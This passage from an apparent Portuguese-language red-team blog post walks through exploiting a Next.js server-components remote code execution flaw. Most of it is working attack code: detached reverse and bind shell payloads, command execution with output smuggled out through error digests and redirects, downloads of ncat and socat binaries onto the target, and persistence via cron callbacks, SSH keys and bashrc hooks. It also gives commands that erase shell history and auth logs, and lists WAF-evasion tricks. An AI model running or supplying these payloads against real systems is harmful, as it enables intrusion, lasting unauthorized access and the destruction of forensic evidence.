        cmd = f"curl -sL {info['url']} -o /tmp/{tool} && chmod +x /tmp/{tool}"
        result = execute_command(session, target, cmd)
        
        if not result.success:
            # Fallback: upload chunked (mais lento, mas sempre funciona)
            log_warning(f"curl falhou, usando upload chunked...")
            # Baixar localmente e fazer upload
            local_path = download_tool_locally(info['url'], tool)
            upload_binary_chunked(session, target, local_path, f"/tmp/{tool}")
OPSEC: Upload Deixa Rastros

Cada chunk é um request separado. Em logs, isso aparece como dezenas de requests sequenciais. Para operações stealth, considere: compactar o máximo possível, usar delays entre chunks, e sempre fazer cleanup após uso.

Desafio 2: O Pesadelo da Shell Instável

Por Que Shells Falham?

Conseguir RCE é apenas o começo. O verdadeiro desafio é manter acesso. Em explorações de Next.js, a shell é inerentemente instável por vários motivos:

Problema Causa Impacto
Timeout de Request Payload executa dentro do ciclo HTTP request Shell morre após ~30 segundos
Process Kill Next.js mata processos filho quando request termina Reverse shell desconecta imediatamente
Container Ephemeral Serverless (Vercel) recicla containers Todo estado é perdido entre requests
Firewall Egress Regras de saída bloqueiam conexões Reverse shell não consegue conectar

Solução: Detached Process com Spawn

A primeira técnica é usar spawn com opções detached e unref(). Isso desvincula o processo filho do pai:

def build_reverse_shell_payload(lhost, lport, shell_type="bash"):
    """
    Payload que spawna processo DETACHED do Node.js pai.
    
    Opções críticas:
    - detached: true  → Cria novo process group
    - stdio: 'ignore' → Não herda stdin/stdout do pai
    - .unref()        → Permite pai terminar sem matar filho
    """
    shells = {
        "bash": f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1",
        "nc": f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f",
        "python": f"python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{lhost}\",{lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
    }
    
    shell_cmd = shells.get(shell_type)
    
    prefix_payload = (
        "process.mainModule.require('child_process')"
        f".spawn('sh',['-c','{shell_cmd}'],"
        "{detached:true,stdio:'ignore'}).unref();"  # ← CRÍTICO!
        "throw Object.assign(new Error('NEXT_REDIRECT'),"
        "{digest: 'NEXT_REDIRECT;push;/shell_spawned;307;'});"
    )
    
    return prefix_payload

Solução: Bind Shell como Alternativa

Quando egress está bloqueado (não conseguimos conectar de volta), a alternativa é Bind Shell: abrimos uma porta no alvo e conectamos nela:

def build_bind_shell_payload(lport=7070):
    """
    Bind Shell: Abre porta no alvo, atacante conecta.
    
    Útil quando:
    - Firewall bloqueia conexões de saída
    - Alvo está em rede interna
    - Precisamos de shell persistente
    """
    # Node.js bind shell nativo
    bind_cmd = (
        f"node -e \"require('net').createServer(c=>"
        f"{{c.pipe(require('child_process').spawn('sh',"
        f"{{stdio:[c,c,c]}}))}})).listen({lport})\""
    )
    
    # Spawnar detached para sobreviver ao request
    prefix_payload = (
        "process.mainModule.require('child_process')"
        f".spawn('sh',['-c','{bind_cmd}'],"
        "{detached:true,stdio:'ignore'}).unref();"
    )
REVERSE SHELL vs BIND SHELL:

REVERSE SHELL (egress):
Alvo ─────────────────────→ Atacante:4444
     └── "Me conecta de volta"     └── nc -lvnp 4444

BIND SHELL (ingress):
Atacante ─────────────────→ Alvo:7070
         └── nc alvo 7070        └── Porta aberta esperando conexão

Solução: Upload de Ferramentas Estáticas

Servidores Next.js frequentemente não têm nc, socat, ou outras ferramentas. A solução é fazer upload de binários estáticos:

# Catálogo de binários estáticos para Linux x86_64
STATIC_BINARIES = {
    "ncat": {
        "url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat",
        "description": "Netcat com SSL e proxy support",
        "help": "Listener: /tmp/ncat -lvnp 4444 --ssl",
    },
    "socat": {
        "url": "https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat",
        "description": "Swiss army knife de conexões",
        "help": "TTY: socat exec:'bash -li',pty,stderr,sane tcp:LHOST:LPORT",
    },
    "busybox": {
        "url": "https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox",
        "description": "Unix utilities all-in-one",
        "help": "busybox wget, busybox nc, etc",
    },
}

def upload_tool(session, target, tool_name):
    """
    Faz upload de ferramenta via curl/wget já existente no alvo,
    ou via RCE payload que escreve bytes diretamente.
    """
    tool = STATIC_BINARIES[tool_name]
    
    # Tenta curl primeiro (mais comum)
    cmd = f"curl -sL {tool['url']} -o /tmp/{tool_name} && chmod +x /tmp/{tool_name}"
    result = execute_command(session, target, cmd)
    
    if not result.success:
        # Fallback: wget
        cmd = f"wget -q {tool['url']} -O /tmp/{tool_name} && chmod +x /tmp/{tool_name}"
        result = execute_command(session, target, cmd)

Desafio 3: Extração de Output de Comandos

O Problema do Blind RCE

Diferente de uma shell tradicional onde você vê o output imediatamente, a exploração do Next.js RSC é semi-blind: o output está "enterrado" na resposta HTTP e precisa ser extraído.

# Técnica: Output via Base64 no campo digest
def build_exploit_payload_base64(command):
    """
    Técnica inspirada na extensão RSC_Detector.
    
    1. Executa comando
    2. Converte output para Base64
    3. Joga no campo 'digest' do error
    4. Extrai do response body
    """
    prefix_payload = (
        "var res=process.mainModule.require('child_process')"
        f".execSync('{command}',{{timeout:30000}})"
        ".toString('base64');"  # ← Base64 para evitar chars especiais
        "throw Object.assign(new Error('x'),{digest: res});"
    )
    return prefix_payload

# Extração do output
def extract_output_from_digest(response_text):
    """
    Parseia response buscando o campo digest com Base64.
    """
    patterns = [
        r'"digest"\s*:\s*"([^"]*)"',
    ]
    
    for pattern in patterns:
        match = re.search(pattern, response_text)
        if match:
            raw_digest = match.group(1)
            
            # Ignorar checksums internos do Next.js
            if raw_digest.isdigit():
                continue
            
            # Tentar decode Base64
            try:
                decoded = base64.b64decode(raw_digest).decode('utf-8')
                return decoded
            except:
                pass
    
    return None

Por que Base64? O output de comandos pode conter quebras de linha, aspas, e outros caracteres que quebram JSON. Base64 "sanitiza" o output, garantindo que chegue intacto até nós.

Fallback: URL Redirect Extraction

Uma técnica alternativa é forçar um redirect com o output no parâmetro da URL:

def build_redirect_payload(command):
    """
    Payload alternativo: output via redirect header.
    
    Funcionamento:
    1. Executa comando
    2. URL-encodes o resultado
    3. Joga em um redirect
    4. Extraímos do header X-Action-Redirect ou Location
    """
    prefix_payload = (
        "var res=process.mainModule.require('child_process')"
        f".execSync('{command}',{{timeout:30000}})"
        ".toString().trim();"
        "throw Object.assign(new Error('NEXT_REDIRECT'),"
        "{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});"
    )
    return prefix_payload

def extract_from_redirect(response):
    """Extrai output do header ou body de redirect."""
    # Método 1: Header
    redirect = response.headers.get("X-Action-Redirect", "")
    match = re.search(r'[?&]out=([^&;]+)', redirect)
    if match:
        return urllib.parse.unquote(match.group(1))
    
    # Método 2: Body
    body_match = re.search(r'out=([^&;\s"]+)', response.text)
    if body_match:
        return urllib.parse.unquote(body_match.group(1))

Desafio 4: Estabelecendo Persistência

O Problema da Efemerabilidade

Em ambientes serverless (Vercel, AWS Lambda), o container pode ser destruído a qualquer momento. Mesmo em VMs tradicionais, reinícios acontecem. Precisamos de persistência.

Técnica 1: Cron Job

# Adiciona job que executa a cada minuto
(crontab -l 2>/dev/null; echo "* * * * * /tmp/.hidden/callback.sh") | crontab -

# callback.sh - tenta conectar de volta continuamente
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/LHOST/LPORT 0>&1 2>/dev/null
    sleep 60
done

Técnica 2: SSH Authorized Keys

def establish_ssh_persistence(session, target, pubkey):
    """
    Adiciona nossa chave SSH ao authorized_keys.
    
    Vantagens:
    - Acesso legítimo via SSH
    - Não depende de beacon/callback
    - Sobrevive reinícios
    """
    commands = [
        "mkdir -p ~/.ssh",
        "chmod 700 ~/.ssh",
        f"echo '{pubkey}' >> ~/.ssh/authorized_keys",
        "chmod 600 ~/.ssh/authorized_keys",
    ]
    
    for cmd in commands:
        execute_command(session, target, cmd)

Técnica 3: Profile/Bashrc Hooking

# Adiciona callback no .bashrc - executa quando user faz login
echo 'nohup bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1" &' >> ~/.bashrc

# Ou no .profile para todos os logins
echo 'nohup /tmp/.hidden/beacon &' >> ~/.profile
OPSEC: Cuidado com Persistência

Persistência deixa artefatos que Blue Team pode encontrar. Em operações Red Team reais, priorize persistência que imita atividade legítima (SSH keys > cron jobs > bashrc hooks). E sempre documente para cleanup posterior.

Desafio 5: Cleanup — Apagando Seus Rastros

Tão importante quanto explorar é não ser detectado. O React2Tool inclui funcionalidade de cleanup que remove artefatos deixados durante a operação:

def cleanup_artifacts(session, target):
    """
    Remove todos os artefatos deixados pelo exploit.
    
    Artefatos típicos:
    - Binários enviados (/tmp/ncat, /tmp/socat)
    - Scripts de persistência
    - Histórico de comandos
    - Logs que mencionam nossa atividade
    """
    cleanup_commands = [
        # Remover ferramentas
        "rm -rf /tmp/ncat /tmp/socat /tmp/busybox /tmp/.hidden",
        
        # Limpar histórico
        "history -c",
        "rm -f ~/.bash_history ~/.zsh_history",
        "unset HISTFILE",
        
        # Limpar /var/log (se tiver permissão)
        "rm -f /var/log/auth.log.* 2>/dev/null",
        
        # Remover persistence (se aplicável)
        "crontab -r 2>/dev/null",
        
        # Limpar arquivos temporários
        "rm -rf /tmp/npm-* /tmp/v8-* 2>/dev/null",
    ]
    
    for cmd in cleanup_commands:
        execute_command(session, target, cmd, silent=True)

"Um bom Red Teamer deixa o ambiente exatamente como encontrou — ou pelo menos como se nada tivesse acontecido. Cleanup não é opcional."

Lições Aprendidas e Conclusões

O Que Funcionou

  • Junk Data Overflow — 256KB de lixo antes do payload bypassa maioria dos WAFs
  • String Concatenation'child'+'_process' evade pattern matching
  • Detached Spawn{detached:true,stdio:'ignore'}.unref() é essencial
  • Base64 Output — Mais confiável que URL encoding para extração
  • Binários Estáticos — Quando o alvo não tem ferramentas, traga as suas

O Que Não Funcionou (E Por Quê)

Tentativa Por Que Falhou Solução
Reverse shell simples Processo morria com o request HTTP Spawn detached + unref
Output via stdout Next.js não expõe stdout do processo Throw Error com digest
Unicode encoding sozinho WAFs normalizavam antes de inspecionar Combinar com junk overflow
Downloads de binário direto Alguns alvos não tinham curl/wget Upload via echo + base64

Para o Futuro

O desenvolvimento de exploits é um jogo de gato e rato. As técnicas aqui documentadas funcionam hoje, mas WAFs evoluem. Algumas áreas de pesquisa futura:

  • WebSocket tunneling — Bypass de inspection via upgrade de protocolo
  • Time-based extraction — Para ambientes completamente blind
  • Memory-only execution — Evitar touchdowns no filesystem
  • DNS exfiltration — Quando HTTP egress está bloqueado

Conclusão

O CVE-2025-55182 demonstra como uma vulnerabilidade em um framework moderno pode ser explorada de forma sofisticada quando você entende os mecanismos de defesa e sabe como contorná-los.

Mensagem-Chave

"Explorar não é só enviar um payload. É entender o alvo, adaptar às defesas, e persistir quando tudo falha. O script é ferramenta — o conhecimento é a arma."

O Que Aprendemos:

  • Bypass de WAF com múltiplas técnicas
  • Estabilização de shells com detached spawn
  • Upload chunked para ambientes limitados
  • Extração de output via digest/redirect

Próximos Passos:

  • Estudar outros frameworks (Remix, Nuxt)
  • Desenvolver técnicas de evasão customizadas
  • Praticar em labs autorizados

Referências e Recursos

Compartilhe:

Ermenson Marcos Rodrigues Junior

Segurança Ofensiva | Pentester | Red Team

Analista de Segurança Ofensiva com experiência prática em testes de intrusão em ambientes críticos do setor financeiro. Focado em identificar vulnerabilidades de alto impacto e proteger transações financeiras.